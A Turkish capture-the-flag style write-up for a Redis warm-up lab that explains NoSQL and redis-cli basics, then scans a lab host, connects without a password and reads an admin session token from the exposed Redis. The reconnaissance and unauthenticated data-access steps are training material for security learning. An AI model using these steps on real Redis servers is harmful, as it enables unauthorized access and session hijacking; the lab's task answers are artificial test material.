Reddict Write-up

Giriş

Reddict ısınma makinesi, NoSQL veritabanlarının güvenliği ile ilgili ideal bir başlangıç noktasıdır. Reddict'de, Redis servislerindeki güvenlik açıklarını nasıl tespit edebileceğinizi ve bu açıkları nasıl kullanabileceğinizi öğrenirken, aynı zamanda Redis'in temel işleyişi ve yapılandırması hakkında da bilgi edineceksiniz. Bu deneyim, NoSQL veritabanı güvenliğine dair bir bakış açısı kazanmanızı sağlayacak ve siber güvenlik becerilerinizi geliştirmenize yardımcı olacak.

NoSQL

NoSQL, geleneksel ilişkisel veritabanı sistemlerinin katı şemaları ve sorgulama dilleri yerine daha esnek veri modelleri sunan bir veritabanı yönetim sistemi türüdür. Adı "Not Only SQL" ifadesinin kısaltması olarak ortaya çıkmıştır ve bu ifade, NoSQL sistemlerinin SQL dışında farklı veri depolama ve sorgulama yöntemlerini de desteklediğini ifade eder.

NoSQL veritabanları, büyük ölçekte yapılandırılmamış verilerle çalışmak için tasarlanmıştır ve bu sayede büyük ölçekli, dağıtık uygulamaların da ihtiyaçlarına yanıt verirler. Bu sistemler, genellikle yüksek performans, yatay ölçeklenebilirlik ve kolay veri dağıtımı gibi özellikler sunar.

Redis

Redis (**RE**mote **DI**ctionary **S**ervice), açık kaynak kodlu, hız odaklı ve yüksek performanslı bir veritabanı yönetim sistemidir. İlk olarak 2009 yılında geliştirilen Redis, özellikle anahtar-değer depolama yapısıyla bilinir ve bu yapısı sayesinde çok çeşitli veri tiplerini destekler. Bu veri tipleri arasında diziler, listeler, maps, setler ve sıralı setler bulunur. Verileri bellekte tutması ve gerektiğinde disk üzerine yazmasından dolayı çalışma performansı yüksektir. Bu özellikleriyle Redis, özellikle web uygulamalarında oturum yönetimi, önbellekleme, mesaj kuyrukları ve gerçek zamanlı uygulamalar gibi durumlar için ideal bir çözüm sunar.

Redis'in en dikkat çekici özelliklerinden biri, basit ve etkili bir yapıya sahip olmasıdır. Kolay ölçeklenebilirliği ve dağıtık sistemlerde kullanımı ile de ön plana çıkar. Ayrıca, yüksek kullanılabilirlik ve dayanıklılık sağlamak için çoğaltma (replication) ve anahtarın süresini (expiration) belirleme gibi özelliklere sahiptir. Redis, hızlı ve esnek yapısıyla, büyük veri setleri üzerinde yüksek performanslı işlemler gerçekleştirmek isteyen geliştiriciler ve sistem yöneticileri tarafından sıkça tercih edilir. Bu nedenle, modern uygulama mimarilerinde popüler bir bileşen haline gelmiştir.

redis-cli
Redis-cli, Redis veritabanı sistemini yönetmek ve etkileşimde bulunmak için kullanılan bir komut satırı aracıdır. Bu araç, Redis sunucuları ile doğrudan iletişim kurarak veri eklemek, güncellemek, almak ve veritabanı yapılandırmasını yönetmek gibi işlemleri kolaylaştırır.

Temel Kullanım

```
redis-cli -h <hostname> -p <port-number> --user <username> -a <password>
```

```
-h : Bağlanılacak Redis sunucusunun çalıştığı bilgisayarın adı ya da IP
adresi.

-p : Port numarası belirtmek için kullanılan parametre. Redis'in
varsayılan olan 6379 portuna bağlanılacaksa belirtmeye gerek yoktur.

--user : Redis sunucusuna bağlanırken hangi kullanıcı olarak
bağlanılacağını belirtmek için kullanılır.

-a : Parola belirtmek için kullanılan parametre.
```

Örnek Bağlantı
Aşağıdaki örnek bağlantıda, redis-cli aracının çalştırıldığı bilgisayardaki (local) Redis sunucusuna bağlanıldığı için hostname gibi parametrelerin kullanılmasına ihtiyaç yoktur.

```
root💀hackerbox:~# redis-cli
127.0.0.1:6379>
```

PING
Redis sunucusunun çalışıp çalışmadığı kontrol eder.

```
root💀hackerbox:~# redis-cli
127.0.0.1:6379> PING
PONG
```

HELP
Komutlar hakkında bilgi verir.

```
127.0.0.1:6379> HELP PING

  PING [message]
  summary: Ping the server
  since: 1.0.0
  group: connection
```

INFO
Sunucu hakkında bilgi ve istatistikleri verir.

```
127.0.0.1:6379> INFO
# Server
redis_version:6.0.16
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:6d95e1af3a2c082a
redis_mode:standalone
os:Linux 5.10.0-26-amd64 x86_64
 ...
```

MONITOR
Sunucu tarafından alınan tüm istekleri gerçek zamanlı olarak dinlemek için kullanılır.

```
127.0.0.1:6379> MONITOR
OK
1704453952.446843 [0 127.0.0.1:48944] "COMMAND" "DOCS"
1704453952.448960 [0 127.0.0.1:48944] "COMMAND"
1704453962.083647 [0 127.0.0.1:48944] "PING"
1704453968.347926 [0 127.0.0.1:48944] "INFO"
```

SET
Bir anahtara değer atamak için kullanılır.

```
127.0.0.1:6379> SET example_key "example value"
OK
```

GET
Bir anahtarın değerini görmek için kullanılır.

```
127.0.0.1:6379> GET example_key
"example value"
```

KEYS
Verilen desenle eşleşen tüm anahtarları listelemek için kullanılır.

```
127.0.0.1:6379> KEYS *
1) "example_key"
```

QUIT
Bağlantıyı kapatmak için kullanılır.

```
127.0.0.1:6379> QUIT
root💀hackerbox:~#
```

Bilgi Toplama

Hedef makinemize yönelik port taraması gerçekleştirelim.

Görev 1, Görev 2

```
root💀hackerbox:~# nmap -sV -p1-10000 172.20.1.26
Starting Nmap 7.80 ( https://nmap.org ) at 2024-01-05 05:54 CST
Nmap scan report for 172.20.1.26
Host is up (0.00029s latency).
Not shown: 9999 closed ports
PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 6.0.16
MAC Address: 52:54:00:3C:B9:6F (QEMU virtual NIC)

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.16 seconds
```

Sisteme Erişim

Hedef makinemizde çalışan Redis sunucusuna bağlanmayı deneyelim.

Görev 3, Görev 4

Uzak Redis sunucusuna bağlanmak için **`redis-cli`** aracını kullanabiliriz.

```
root💀hackerbox:~# redis-cli -h 172.20.1.26
172.20.1.26:6379> PING
PONG
```

Görev 5, Görev 6, Görev 7

Redis sunucusu hakkında bilgi ve istatistikleri almak için **`INFO`** komutu kullanılır.

Tüm anahtarları görüntülemek için **`KEYS *`** komutu kullanılır.

```
172.20.1.26:6379> KEYS *
 1) "session:user-569"
 2) "session:user-822"
 3) "session:user-230"
 4) "session:admin-001"
 5) "session:user-800"
 6) "session:user-310"
 7) "session:user-552"
 8) "session:user-111"
 9) "session:user-878"
10) "session:user-992"
11) "session:user-893"
```

Yukarıdaki komut çıktısında da görüldüğü gibi Redis sunucusunda **`11`** anahtar bulunuyor.

Görev 8, Görev 9

Bir anahtarın değerini görüntülemek için **`GET`** komutu kullanılır.

Görev 9'da admin oturum bilgilerini sorduğu için **`"session:admin-001"`** anahtarının değerine bakalım.

```
172.20.1.26:6379> GET "session:admin-001"
"{\"userID\": \"001\", \"lastLogin\": \"2023-12-10T10:10:01\",
\"sessionToken\": \"iqtoggtry\", \"isLoggedIn\": true}"
```

💪 Admin’in oturum token bilgilerine ulaşmayı başardık.

-

Tebrikler 🙌

✨ Bu alıştırmadaki tüm görevleri başarıyla tamamladınız.